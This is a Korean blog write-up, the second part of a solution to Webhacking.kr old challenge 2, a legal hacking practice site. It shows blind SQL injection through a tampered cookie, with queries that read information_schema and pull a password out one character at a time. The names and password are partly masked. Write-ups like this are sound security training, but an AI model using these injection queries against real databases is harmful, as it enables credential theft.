여러분 안녕하세요. 세이버입니다.
이번 강에서는 지난 강에 이어서 Webhacking.kr Challenge old 2번 문제를 풀어보겠습니다.
지난 강에서 2번 문제 사이트의 분석과 데이터베이스의 테이블명까지 알아봤습니다.
지난 강은 아래 링크에서 보실 수 있습니다.
Webhacking.kr Challenge(old)_2번문제_part1 : https://poci.tistory.com/99
1. 컬럼명 알아내기
지난 강에서 알아낸 테이블명은 ad***********와 l**였습니다. (테이블명은 직접 알아보시라는 의미로 적지 않았습니다.)
테이블명으로 봐서는 패스워드가 ad***********에 있을 거 같습니다.
그럼 이제 컬럼명을 알아내야 합니다.
select count(column_name) from information_schema.columns where table_name="ad***********"
위 SQL문은 ad*********** 테이블에서 컬럼의 개수가 몇 개인지를 출력시키는 구문입니다.
다행히 1개가 나오는군요. 노가다를 덜해도 되겠습니다.
select length(column_name) from information_schema.columns where table_name="ad**********"
위 SQL문을 이용해서 컬럼의 글자 수를 알아봅시다.
2글자임을 알 수 있습니다.
select ascii(substring(column_name, 1, 1)) from information_schema.columns where table_name="ad**********"
를 이용해서 컬럼명의 1번째 단어를
select ascii(substring(column_name, 2, 1)) from information_schema.columns where table_name="ad**********"
를 이용해서 컬럼명의 2번째 단어를 알아내면 됩니다.
2. 패스워드 알아내기
이제 알아낸 테이블명과 컬럼명을 가지고 패스워드를 알아내면 문제를 풀 수 있습니다.
select length(**) from ad**********
를 이용해 ad******** 테이블에 있는 **컬럼의 글자 수를 알아냅시다.
패스워드는 17글자입니다.
이제 단어만 알아내면 됩니다.
select ascii(substring(**, 1, 1)) from ad***********
select ascii(substring(**, 2, 1)) from ad***********
select ascii(substring(**, 3, 1)) from ad***********
...
select ascii(substring(**, 17, 1)) from ad***********
을 이용해서 각 글자수별 단어를 알아내면 패스워드를 알 수 있습니다.
그래서 최종 패스워드는 ku***************입니다.
이 패스워드를 admin.php에 입력해주면 클리어입니다.
이번 강의는 여기까지입니다.
오늘도 수고하셨습니다.
정리
- EditThisCookie를 이용하여 쿠킷값을 변조해서 Blind SQL injeciton을 수행해 컬럼명을 알아낸다.
- 알아낸 테이블명과 컬럼명을 이용해 패스워드를 알아낸다.
강의가 유익하셨거나 마음에 드셨으면 구독과 좋아요, 댓글 부탁드립니다.
궁금하신 점이나 질문은 댓글이나 메일 남겨주세요.
'Write Up > webhacking.kr_old' 카테고리의 다른 글
Webhacking.kr Challenge(old)_5번문제 (2) | 2020.01.13 |
---|---|
Webhacking.kr Challenge(old)_4번문제 (10) | 2019.12.05 |
Webhacking.kr Challenge(old)_3번문제 (0) | 2019.11.30 |
Webhacking.kr Challenge(old)_2번문제_part1 (13) | 2019.11.20 |
Webhacking.kr Challenge(old)_1번문제 (0) | 2019.11.10 |